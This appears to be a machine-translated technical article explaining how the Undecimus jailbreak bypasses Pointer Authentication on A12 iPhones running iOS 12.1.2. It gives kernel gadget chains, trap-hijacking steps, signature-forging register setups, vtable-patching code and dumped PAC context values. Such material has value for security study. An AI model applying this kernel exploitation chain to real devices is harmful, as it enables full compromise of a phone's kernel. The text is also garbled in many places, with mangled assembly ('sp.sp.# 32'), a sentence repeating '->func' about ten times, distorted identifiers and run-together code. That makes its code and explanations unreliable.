series

  1. IOS Jailbreak Principles – Sock Port (UI
  2. IOS Jailbreak Principles – Sock Port (2) Leak the Port Address through Mach OOL Message
  3. IOS Jailbreak Principles – Sock Port (CST
  4. IOS Jailbreak Principles – Sock Port
  5. IOS Jailbreak Principles – Undecimus Analysis
  6. Locate kernel data by String XREF
  7. Implement arbitrary code execution through IOTrap

preface

In the previous article, we introduced the process of implementing KEXEC through IOTrap without ARM64E. The main obstacle to arm64E doing this is the Pointer Authentication Code (PAC) mitigation. In this article, we will describe the process of bypassing the PAC mechanism in Undecimus.

The entire Bypass process is quite complex, and the main reference for this article is the ARM64E-related PAC Bypass code from The Examining Pointer Authentication on the iPhone XS and Undecimus.

Some characteristics of PAC

What is PAC here is no longer described, in short, it is a kind of return address, global pointer, etc., a signature and check protection mechanism, detailed definition and mechanism readers can consult information, here only gives a simple example to help understand PAC implementation.

The following code contains a global numeric variable and a dynamic function call based on function pointer FPTR. Guess which values are protected by PAC?

// pac.cpp
#include <cstdio>

int g_somedata = 102;

int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {*reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    g_somedata += argc;
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int(*) (int)>(fptr))(g_somedata);
    return 0;
}
Copy the code

Here we use clang to compile CPP links and generate arm64E assembly code:

clang -S -arch arm64e -isysroot `xcrun --sdk iphoneos --show-sdk-path` -fno-asynchronous-unwind-tables pac.cpp -o pace.s
Copy the code

The resulting full assembly is:

	.section	__TEXT,__text,regular,pure_instructions
	.build_version ios, 13.0	sdk_version 13.0
	.globl	__Z8tram_onei           ; -- Begin function _Z8tram_onei
	.p2align	2
__Z8tram_onei:                          ; @_Z8tram_onei
	.cfi_startproc
; %bb.0:
	pacibsp
	sub	sp.sp.# 32             ; = 32
	stp	x29, x30, [sp.# 16]     ; 16-byte Folded Spill
	add	x29, sp.# 16            ; = 16
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	stur	w0, [x29, #-4]
	ldur	w0, [x29, #-4]
                                        ; implicit-def: $x1
	mov	x1, x0
	mov	x8, sp
	str	x1, [x8]
	adrp	x0, l_.str@PAGE
	add	x0, x0, l_.str@PAGEOFF
	bl	_printf
	mov	w9, # 0
	str	w0, [sp.# 8]            ; 4-byte Folded Spill
	mov	x0, x9
	ldp	x29, x30, [sp.# 16]     ; 16-byte Folded Reload
	add	sp.sp.# 32             ; = 32
	retab
	.cfi_endproc
                                        ; -- End function
	.globl	__Z8step_ptrPv          ; -- Begin function _Z8step_ptrPv
	.p2align	2
__Z8step_ptrPv:                         ; @_Z8step_ptrPv
; %bb.0:
	sub	sp.sp.# 16             ; = 16
	adrp	x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
	ldr	x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
	str	x0, [sp.# 8]
	ldr	x0, [sp.# 8]
	str	x8, [x0]
	add	sp.sp.# 16             ; = 16
	ret
                                        ; -- End function
	.globl	_main                   ; -- Begin function main
	.p2align	2
_main:                                  ; @main
	.cfi_startproc
; %bb.0:
	pacibsp
	sub	sp.sp.# 64             ; = 64
	stp	x29, x30, [sp.# 48]     ; 16-byte Folded Spill
	add	x29, sp.# 48            ; = 48
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	stur	wzr, [x29, #-4]
	stur	w0, [x29, #-8]
	stur	x1, [x29, #-16]
	ldur	w0, [x29, #-8]
	ldr	w9, [x8]
	add	w9, w9, w0
	str	w9, [x8]
	mov	x8, # 0
	str	x8, [sp.# 24]
	ldr	x0, [sp.# 24]
	bl	__Z8step_ptrPv
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	ldr	x0, [sp.# 24]
	ldr	w9, [x8]
	str	x0, [sp.# 16]           ; 8-byte Folded Spill
	mov	x0, x9
	ldr	x8, [sp.# 16]           ; 8-byte Folded Reload
	blraaz	x8
	mov	w9, # 0
	str	w0, [sp.# 12]           ; 4-byte Folded Spill
	mov	x0, x9
	ldp	x29, x30, [sp.# 48]     ; 16-byte Folded Reload
	add	sp.sp.# 64             ; = 64
	retab
	.cfi_endproc
                                        ; -- End function
	.section	__DATA, __data
	.globl	_g_somedata             ; @g_somedata
	.p2align	2
_g_somedata:
	.long	102                     ; 0x66

	.section	__TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
	.asciz	"call tramp one %d\n"


	.section	__DATA,__auth_ptr
	.p2align	3
l__Z8tram_onei$auth_ptr$ia$0:
	.quad	__Z8tram_onei@AUTH(ia,0)

.subsections_via_symbols
Copy the code

Return address protection

There are a few things to note here, the first being that PAC directives are inserted at the beginning and end of each nested call:

__Z8tram_onei:
    pacibsp
    ; .
    retab
Copy the code

PAC protects the return address of the function with Instruction Key B, effectively preventing JOP attacks.

Look again at global variable declarations and access:

	.section	__DATA, __data
	.globl	_g_somedata             ; @g_somedata
	.p2align	2
_g_somedata:
	.long	102                     ; 0x66
	
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	ldr	w9, [x8]
Copy the code

As you can see, regular numerical variables are not under the protection of PAC.

A pointer to protect

Let’s look at the assignment and call of a function pointer:

int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {*reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    // ...
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int(*) (int)>(fptr))(g_somedata);
    return 0;
}
Copy the code

First, we can see that the global symbol of the tram_one function address is protected by PAC:

	.section	__DATA,__auth_ptr
	.p2align	3
l__Z8tram_onei$auth_ptr$ia$0:
	.quad	__Z8tram_onei@AUTH(ia,0)
Copy the code

The corresponding access code in step_ptr:

__Z8step_ptrPv:
    ; .
	adrp	x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
	ldr	x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
	; .
Copy the code

Upon execution (reinterpret_cast

(FPTR))(g_someData); When invoked, directives with PAC validation are used:

_main: 
    ; .
    ; x8 = l__Z8tram_onei$auth_ptr$ia$0
    blraaz	x8
Copy the code

PAC’s impact on JOP

The key to our implementation of Kexec in the previous article was to hijack a virtual function.

  1. Modify the getTargetAndTrapForIndex pointer to the Gadget in the virtual table.
  2. Construct IOTrap whose func points to the kernel function to execute.

Unfortunately, both addresses are protected by the PAC mechanism [1], so our previous KEXEC method fails on arm64E. The following code is taken from Resources [1] :

loc_FFFFFFF00808FF00
    STR        XZR, [SP.#0x30+var_28]  ;; target = NULL
    LDR        X8, [X19]               ;; x19 = userClient, x8 = ->vtable
    ; 1. vtable is under protection
    AUTDZA     X8                      ;; validate vtable's PAC
    ; .
    MOV        X0, X19                 ;; x0 = userClient
    ; 2. vtable->getTargetAndTrapForIndex is under protection
    BLRAA      X8, X9                  ;; PAC call ->getTargetAndTrapForIndex
    ; .
    MOV        X9, # 0                  ;; Use context 0 for non-virtual func
    B          loc_FFFFFFF00808FF70
    ; .
loc_FFFFFFF00808FF70
   ; . not set x9
   ; 3. trap->func is under protection
   BLRAA      X8, X9                  ;; PAC call func(target, p1, ... , p6)
   ; .
Copy the code

In the iOS 12.1.2 kernel code of the ARM64E architecture, the virtual function table, the virtual function pointer, and the IOTrap function pointer are all protected by PAC.

In particular, the context register X9 used by the trap->func call is written to 0, which means that BLRAA checks the address of a PACIZA signature, which is an important breakthrough for implementing the first restricted KEXEC.

Bypass PAC’s theoretical analysis

Limiting conditions

In write-up of Reference [1], a large part of the analysis and bypass attempts of PAC are described from the perspective of software white box and hardware black box, and the following conclusions are drawn:

  1. The register where the PAC Key is stored can only be accessed in EL1 mode, while the user mode is EL0, and these system registers cannot be accessed directly.
  2. Even if we can read the PAC Key from the kernel’s memory, we can’t forge the signature without reverse-tracing the entire encryption and decryption process.
  3. Apple used different PAC keys in EL0 and EL1, which broke the Croess-El PAC Forgeries;
  4. Apple uses different algorithms to implement PACIA, PACIB, PACDA, and PACDB, resulting in different results even with the same keys, breaking cross-key Symmetry.
  5. Although the PAC Key looks hardcode on a software level, it turns out that the PAC Key changes every time you launch it.

Each of these five restrictions is a thorn in the side of people trying to get around PAC, so apple is doing a lot of perverted protection in trying to get the JOP out of the way. Apple also removed pac-related details from the public XNU code and prevented hackers from easily finding the Signing Gadgets available in KernelCache by controlling flow obfuscation.

Favorable conditions

Having to hand it to the kernel gurus, Brandon Azad was able to find some software bugs in PAC’s implementation despite all the protection:

  1. PAC insert pointer’s extension bits (2 bits) into pointer 62~61 if check fails;
  2. When PAC executes a signature, if the extension bits of the pointer are found to be abnormal, it still inserts the correct signature, but invalidates the pointer by flipping the top bit of PAC (bit 62).

The interesting thing is that if we pass a regular address to the PAC check (AUT*), it inserts an error code into the extension bits of the pointer to make it exception. If the value is later signed (PAC*), the signature will fail due to error code, but the correct PAC will still be computed and inserted, with the 62nd bit of the pointer reversed. So we just need to find a code snippet that uses the values of the pointer to AUT*, then PAC*, and finally writes the values to fixed memory as a Signing Gadget.

PACIZA Signing Gadget

Based on the above theory, Brandon Azad found a code snippet in arm64E’s KernelCache that meets the above requirements:

void sysctl_unregister_oid(sysctl_oid *oidp)
{
   sysctl_oid *removed_oidp = NULL;
   sysctl_oid *old_oidp = NULL;
   BOOL have_old_oidp;
   void **handler_field;
   void *handler;
   uint64_tcontext; .if ( !(oidp->oid_kind & 0x400000))// Don't enter this if{... }if( oidp->oid_version ! =1 )               // Don't enter this if{... } sysctl_oid *first_sibling = oidp->oid_parent->first;if ( first_sibling == oidp )                // Enter this if
   {
       removed_oidp = NULL;
       old_oidp = oidp;
       oidp->oid_parent->first = old_oidp->oid_link;
       have_old_oidp = 1;
   }
   else{... } handler_field = &old_oidp->oid_handler; handler = old_oidp->oid_handler;if( removed_oidp || ! handler )// Take the else{... }else
   {
       removed_oidp = NULL;
       context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
       *handler_field = ptrauth_sign_unauthenticated(
               ptrauth_auth_function(handler, ptrauth_key_asia, &context),
               ptrauth_key_asia,
               0); . }... }Copy the code

As you can see at the bottom of the code there is a nested call to unauth and auth. Auth (AUT*) is called to the handler first, and unauth (PAC*) is immediately executed, satisfying the Signing Gadget condition. Another important condition is that the signature results must be written to stable memory so that we can read them easily and stably. The handler_field refers to old_oidp->oid_handler, which comes from the oIDP of the function’s input parameter.

Looking for a Gadget

The next key is how to trigger syscTL_unregister_OID and control the value of OIDP. Fortunately, sySCTL_OID is held by the Global SyscTL tree and is used to register parameters with the kernel. While there is no direct pointer to SYscTL_unregister_oid, it is an important clue that many Kexts register parameters with SYsctl at startup and de-register with syscTL_unregister_oid at end.

Finally Brandon Azad found a pair of functions l2TP_domain_module_stop and L2TP_domain_module_start in the kext of com.apple.nke. LTTP, A call to the former passes A global variable sysctl__net_ppp_l2tp to de-register, A call to the latter can restart the module, and the pair contains locable references that are signed without Context via Instruction Key A.

Note that non-virtual function addresses are checked with Instruction Key A and context-free for IOTrap->func calls. Old_oidp ->oid_handler = old_oidp->oid_handler = old_oidp->oid_handler Now you just need to find a way to call L2TP_domain_module_stop to sign PACIZA at any address.

Trigger a Gadget

It may seem as difficult to find L2TP_DOMAIN_module_stop as it is to find a Kexec, but in fact it is much simpler than a full Kexec because L2TP_domain_module_stop has no parameters. We can still try to use IOTrap, but this time we can’t hijack virtual functions, so we need to find an existing object that contains the IOTrap call.

IOAudio2DeviceUserClient class, which implements getTargetAndTrapForIndex and provides an IOTrap by default: IOAudio2DeviceUserClient

IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps[index];
}

IOAudio2DeviceUserClient::initializeExternalTrapTable() {
    // ...
    this->IOAudio2DeviceUserClient.trap_count = 1;
    this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap));
    // ...
}
Copy the code

Here getTargetAndTrapForIndex specifies target as itself, which makes the implicit argument of the trap->func call unmodifiable, that is, arg0 cannot be passed in this way, You can only tamper with trap->func to call a function or block of code without arguments.

Based on the above discussion, the entire process of constructing and calling the PACIZA Signing Gadget is as follows:

  1. Start an IOAudio2DeviceService through the Userland interface of IOKit and obtain the IOAudio2DeviceUserClientmach_portHandle;
  2. Find it by the handleipc_port, itsip_kobjectThe pointer points to the real IOAudio2DeviceUserClient object. First record the object address, and then find the trap address on the object. Because IOAudio2DeviceUserClient declares only one trap, the first address of the trap is the IOTrap address to be modified.
  3. Location by String XREF techniquel2tp_domain_module_start.l2tp_domain_module_stopsysctl__net_ppp_l2tpCache the original address firstsysctl_oid, subsequent structuresysctl_oidmeetsysctl_unregister_oidThe specific execution path will besysctl_oid->oid_handlerAssign the address to be signed;
  4. Modify the trap found in step 2 to point to funcl2tp_domain_module_stopAnd triggers the IOAudio2DeviceUserClient object through IOConnectTrap6IOTrap->funcCall, and here we implement thel2tp_domain_module_stopIs then executed tosysctl_unregister_oidAnd writes the result of the signature failuresysctl__net_ppp_l2tp->oid_handler, we can read the result and flip the 62nd bit to get the correct signature;
  5. The final step is to passl2tp_domain_module_startRestart the service, but a new one needs to be passedsysctl_oidAs an entry, this cannot be done using Primitives above.

Clean up the environment

Because the IOTrap call of IOAudio2DeviceUserClient can only implement kEXEC without parameters, we cannot restart the IOAudio2DeviceUserClient service after completing PACIZA signature. This can make the Signing Gadget idempotent or leave other pitfalls, so you must find a way to restart the service with a call to Kexec.

The problem is that IOTrap->func calls arg0 to this, so we cannot change arg0 in a single call. We can try multiple jumps here. Fortunately, kernelCache has this code:

MOV         X0, X4
BR          X5
Copy the code

IOTrap->func ->func ->func ->func ->func ->func ->func ->func ->func ->func ->func X1 ~ x3 controls arg1 ~ arg3, x5 controls the target address of JOP, and a 4-parameter Kexec can be realized.

So we just need to sign the address of the above code block with the no-parameter call above, and make it the address of IOTrap->func, L2tp_domain_module_start is called with parameters through IOConnectTrap6 input control x1 to X5, which passes the sySCTL_OID backup to restore the scene perfectly.

At this point, a great PACIZA Signing Gadget is complete, and we also get a very useful PACIZA Signing for the code snippet:

MOV         X0, X4
BR          X5
Copy the code

We’ll call it G1, which will be an important Gadget for the rest of our work.

PACIA & PACDA Signing Gadget

Unfortunately, many call points (such as virtual functions) use Context calls, such as the above snippet:

context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
       ptrauth_auth_function(handler, ptrauth_key_asia, &context),
       ptrauth_key_asia,
       0);
Copy the code

This requires us to find the code block containing PACIA and PACDA, and they need to write the signing result to stable memory. Fortunately, gadgets do exist:

; sub_FFFFFFF007B66C48
; .
PACIA       X9, X10
STR         X9, [X2,#0x100]
; .
PACDA       X9, X10
STR         X9, [X2,#0xF8]
; .
PACIBSP
STP         X20, X19, [SP.#var_20]!
.         ;; Function body (mostly harmless)
LDP         X20, X19, [SP+0x20+var_20],#0x20
AUTIBSP
MOV         W0, # 0
RET
Copy the code

This code contains both PACIA and PACDA, and both are subsequently written to memory via STR. The only downside is that there is still a long way to go from RET after the statement is executed, and the current entry point is in the middle of the function. Fortunately, the function’s real opening line comes after these instructions:

PACIBSP
STP         X20, X19, [SP.#var_20]!
; .
Copy the code

So it seems that we can enter the function from the middle without too much bad effect. Here we just need to control x9 as the pointer, x10 as the context, and X2 to control the memory region written to, and then we can implement a PACIA & PACDA signature forgery.

However, IOAudio2DeviceUserClient based IOConnectTrap6 we can only control x1 to x6, we can not control X9 and X10 directly, so we need to find more gadgets to implement combined calls to control X9 and X10.

Brandon Azad then searched kernelCache and found several more gadgets available. So far we have three gadgets available:

; G1
MOV         X0, X4
BR          X5

; G2
MOV         X9, X0
BR          X1

; G3
MOV         X10, X3
BR          X6
Copy the code

G1 allows us to control x0 via X4, write x0 to x9 via G2, and finally write X3 to x10 via G3, G1 -> G2 via X5 pointing to G2, G2 -> G3 via X1 pointing to G3, Finally, jump to the Gadget containing PACIA & PACDA with X6. X2, X9, and X10 have all indirectly filled in the appropriate parameters, thus creating a PACIA & PACDA Forgery.

The above calls are interlocking and cannot have any register overlap, otherwise the parameters cannot be efficiently prepared. We can’t imagine how much effort it took to find such a set of gadgets. Based on the above discussion, we used G1 as the entry point of IOTrap->func, and prepared IOConnectTrap6 parameters as follows:

trap->func = paciza(G1);
arg1 = x1 = G3;
arg2 = x2 = buffer_to_save_pacxad_pointer;
arg3 = x3 = context;
arg4 = x4 = pointer;
arg5 = x5 = G2;
arg6 = x6 = sub_FFFFFFF007B66C48_PACXA_ENTRY
Copy the code

This forms a chain call with the following control flow:

MOV         X0, X4 
BR          X5  
MOV         X9, X0
BR          X1
MOV         X10, X3
BR          X6
PACIA       X9, X10
STR         X9, [X2,#0x100]
; .
PACDA       X9, X10
STR         X9, [X2,#0xF8]
; .
Copy the code

Here we have implemented PACIA & PACDA Forgery through a series of gadgets and IOConnectTrap6.

Perfect kexec

At this point we can forge any signature of Key A, but we still haven’t achieved perfect KEXEC. At this point we can only achieve kEXEC of 4 parameters. The root cause is that we rely on IOAudio2DeviceUserClient’s default implementation of getTargetAndTrapForIndex, which unfortunately sets target to this so that we can’t directly control arg0. When you switch to gadgets, you encounter a limit of four parameters:

IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps[index];
}
Copy the code

In order to achieve A perfect Kexec, the best way is still to hijack the virtual function. Although PAC signs the virtual function table and the virtual function pointer, it does so through Key A. At this point we have been able to forge these signatures to hijack the virtual function again.

Change getTargetAndTrapForIndex to the default implementation

IOAudio2DeviceUserClient overwrites the getTargetAndTrapForIndex implementation to get us into trouble. Here we can change it to the default implementation of the parent class:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
      IOExternalTrap *trap = getExternalTrapForIndex(index);

      if (trap) {
              *targetP = trap->object;
      }

      return trap;
}
Copy the code

Traps of IOAudio2DeviceUserClient are not obtained through getExternalTrapForIndex, so we need to modify the getExternalTrapForIndex method. To enable it to return a constructed IOTrap, one problem encountered here is that the parent class is implemented to return null by default:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}
Copy the code

This requires us to find a suitable function and member variable on the IOUserClient that returns the member variable or a reference to it, so that we can indirectly return specific IOTraps by controlling the member variable. Luckily, IOUserClient indirectly inherits the superclass IORegistryEntry, which contains a reserved member and a member function that returns that member:

class IORegistryEntry : public OSObject
{
// ...
protected:
/ *! @var reserved Reserved for future use. (Internal use only) */
    ExpansionData * reserved;

public:
    uint64_t IORegistryEntry::getRegistryEntryID( void )
    {
        if (reserved)
    	return (reserved->fRegistryEntryID);
        else
    	return (0);
    }
Copy the code

Visible we just pointed to the virtual function table getExternalTrapForIndex IORegistryEntry: : getRegistryEntryID, Reversed the reserved->fRegistryEntryID of the UserClient instance to point to the IOTrap we constructed.

Through the above transformation, we once again have a perfect KEXEC that supports seven inputs, which is easy to analyze theoretically, but complicated to implement because the sign context used by each virtual function is different. This requires that all sign contexts be dumped before processing.

Bypass the PAC code guide

After theoretical analysis, I believe that readers have a general understanding of the whole bypassing process. Because the whole process is too complicated, only theoretical analysis will inevitably make people confused. Combining the above theoretical analysis with reading the code in Undecimus can deepen the understanding.

This code, in the init_kexec and kexec functions mentioned in the previous article, takes a completely different approach to the ARM64E architecture. As the theoretical analysis part of this paper has involved a large number of codes, the analysis will not be complete here, only a few theoretical analysis not completely mentioned. Complete code, please read the above theoretical analysis, I believe you will have a great harvest.

After the above analysis, I believe readers can easily understand stage1_kernel_call_init and stage2_kernel_call_init. The two phases are mainly the initiation of UserClient and the signing of G1. Note that a buffer is created at the end of STAGe2_kernel_call_init -> STAGe1_init_kernel_pacxA_FORGING. Used to store the new virtual function table and PACIA & PACDA signature results:

static void
stage1_init_kernel_pacxa_forging(a) {
    // ...
    kernel_pacxa_buffer = stage1_get_kernel_buffer();
}
Copy the code

In addition, the PAC mechanism of A12 in iOS 12.1.2 also allows userland to restore a checkmarked pointer directly with the XPAC directive. This makes it very convenient to copy the virtual table.

uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
	return xpacd(pointer);
#else
	return pointer;
#endif
}

static uint64_t *
stage2_copyout_user_client_vtable(a) {
	// Get the address of the vtable.
	original_vtable = kernel_read64(user_client);
	uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
	// Read the contents of the vtable to local buffer.
	uint64_t *vtable_contents = malloc(max_vtable_size); assert(vtable_contents ! =NULL);
	kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
	return vtable_contents;
}
Copy the code

In the patch virtual function table, each function has its specific context, so the PAC Code corresponding to each virtual function is used here, which is located in stage2_patch_user_client_vtable:

static size_t
stage2_patch_user_client_vtable(uint64_t *vtable) {
// ...
#if __arm64e__
	assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
	vmethod = kernel_xpaci(vmethod);
	uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
	vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
			VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
#endif // __arm64e__
	}
	return count;
}
Copy the code

Here, a different PAC Code is used for each virtual function. The dumped PAC Code is stored via static variables and accessed via the macro VTABLE_PAC_CODES. Here, each context is only 16 bits long:

static void
pac__iphone11_8__16C50(a) {
    INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
    	0x3771.0x56b7.0xbaa2.0x3607.0x2e4a.0x3a87.0x89a9.0xfffc.0xfc74.0x5635.0xbe60.0x32e5.0x4a6a.0xedc5.0x5c68.0x6a10.0x7a2a.0xaf75.0x137e.0x0655.0x43aa.0x12e9.0x4578.0x4275.0xff53.0x1814.0x122e.0x13f6.0x1d35.0xacb1.0x7eb0.0x1262.0x82eb.0x164e.0x37a5.0xb659.0x6c51.0xa20f.0xb3b6.0x6bcb.0x5a20.0x5062.0x00d7.0x7c85.0x8a26.0x3539.0x688b.0x1e60.0x1955.0x0689.0xc256.0xa383.0xf021.0x1f0a.0xb4bb.0x8ffc.0xb5b9.0x8764.0x5d96.0x80d9.0x0c9c.0x5d0a.0xcbcc.0x617d
    	// ...
    );
}
Copy the code

Other parts have been mentioned in the theoretical analysis, and will not be repeated here.

conclusion

This article describes the PAC mitigation features and iOS 12.1.2 bypass on A12, and the whole process is amazing. By studying the whole bypass process, we not only have a deeper understanding of PAC mechanism, but also learn a lot of JOP operations.

The resources

  1. Brandon Azad, Project Zero. Examining Pointer Authentication on the iPhone XS
  2. pwn20wndstuff. Undecimus